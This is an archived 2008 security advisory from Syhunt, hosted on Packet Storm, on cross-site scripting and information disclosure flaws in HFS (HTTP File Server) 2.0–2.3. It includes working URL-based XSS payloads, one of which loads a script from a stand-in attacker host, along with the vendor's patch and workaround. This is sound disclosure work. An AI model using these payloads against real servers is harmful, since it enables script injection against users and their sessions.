what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

hfs-xss.txt

hfs-xss.txt
Posted Jan 24, 2008
Authored by Felipe Daragon, Alec Storm | Site syhunt.com

HFS versions 2.3 through 2.0 suffer from cross site scripting and information disclosure vulnerabilities.

tags | exploit, vulnerability, xss, info disclosure
advisories | CVE-2008-0409, CVE-2008-0410
SHA-256 | c6417b3811c50e7ea4316acb3c097304bd8f5ebfd4d871f85cbc2532a0cd2f0d

hfs-xss.txt

Change Mirror Download
Syhunt: HFS (HTTP File Server) Template Cross-Site Scripting and
Information Disclosure Vulnerabilities

Advisory-ID: 200801161
Discovery Date: 1.16.2008
Release Date: 1.23.2008
Affected Applications: HFS 2.0 to and including 2.3(Beta Build
#174)
Non-Affected Applications: HFS 1.6a and earlier versions
Class: Cross-Site Scripting (XSS), Information Disclosure
Status: Patch available/Vendor informed
Vendor: Massimo Melina
Vendor URL: http://www.rejetto.com/hfs -or- hfs.sourceforge.net

The Common Vulnerabilities and Exposures (CVE) project has
assigned the following CVEs to these vulnerabilities:
* CVE-2008-0409 - Cross-Site Scripting (XSS) and Host Field XSS
* CVE-2008-0410 - Information Disclosure Vulnerability

----------------------------------------------------------------

Overview:
HFS is a very popular open source HTTP server designed for
easily sharing files. According to information on the official
website, the HTTP File Server software has been downloaded about
2 million times.

Description:
When a specific URL is visited, HFS displays a non-existent
account name in the response body. This non-existent account
name can be HTML code, allowing a remote attacker to use this
to launch XSS attacks.

Because the HTML code is also recognized by the web server as a
HFS HTML template, it is also possible to inject symbols to
force HFS to reveal details about the server (eg, current HFS
server version, build, connections, timestamp, uptime, current
outbound and inbound speed, and more). Technical details are
included below.

----------------------------------------------------------------

Details (Replicating the issues):

1) Cross-Site Scripting (XSS) and Host Field XSS Vulnerabilities
Example 1 - Launching a basic XSS:
http://<script>alert('Syhunt%20XSS')<%2fscript>a:x@[host]/

Example 2 - Injecting an external script (A mix of encoding and
javascript functions is used here to circumvent browser
URL limitations):
http://<script>var%20sChar=String%2efromCharCode(58)%3bdocument
%2ewrite('<script%20src=http'+sChar+'%2f%2fwww%2eattacker%2ecom
%2fxss%2ejs><%5c%2fscript>')%3b<%2fscript>a:x@[host]/

* This is specially dangerous if launched against Firefox. In
order to protect the password from prying eyes, Firefox entirely
hides what comes before the at (@) character and then only the
host name remains visible in the address bar. Firefox will also
resubmit the auth credentials everytime the host is visited
during the current browser session (unless new credentials are
supplied).

* User must be already logged in (via /~login) and the current
(root) path should not be password protected in the HFS-VFS
panel.

* If the host symbol is injected using this technique, HFS will
recognize it as a HTML template and return the data provided in
Host field of the request as part of the response body. The same
happens if the host symbol has been included (after
customization) in the current HFS HTML template.

Detection:
http://www.syhunt.com/advisories/hfshack.txt
See the "checkxss" command

Sandcat can also be used to identify this issue:
http://www.syhunt.com/sandcat

2) Information Disclosure

Example 1 - Injecting Symbols:
http://www.syhunt.com/advisories/hfshack.txt
The "ver" command will force HFS to reveal its version and build
The "symbols" command will force HFS to reveal additional
details about the server (such as connections, timestamp, uptime,
current outbound and inbound speed, and more).

* You can disable the "Send HFS identifier" option (which
enables the HFS banner) and remove all server identifier
symbols from the original HTML template, and still it will work.

Additional Considerations:
* An updated IE will not accept basic auth via URL. See:
http://support.microsoft.com/kb/834489 and the MS security
update 832894 if you wish to learn about this subject.

----------------------------------------------------------------

Vulnerability Status:
The vendor was contacted and has immediately released HFS 2.2c
which fixes these problems. The new version can be downloaded at
www.rejetto.com/hfs/download or via the "Check for news/updates"
option in the HFS menu.

As a workaround for the affected releases, users should remove
the %user% and %host% symbols from any HFS HTML templates.

Testers of HFS 2.3 Beta should upgrade to the latest 2.3 beta
build.

HFS 2.3 Beta specifically is only affected if the option
"Accept any login for unprotected resources" is enabled. This
option, introduced in this version, is disabled by default.

----------------------------------------------------------------

Credit:
Felipe Aragon and Alec Storm
Syhunt Security Research Team, www.syhunt.com

---

Copyright © 2008 Syhunt Security

Disclaimer:
The information in this advisory is provided "as is" without
warranty of any kind. Details provided are strictly for
educational and defensive purposes.

Syhunt is not liable for any damages caused by direct or
indirect use of the information provided by this advisory.


Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close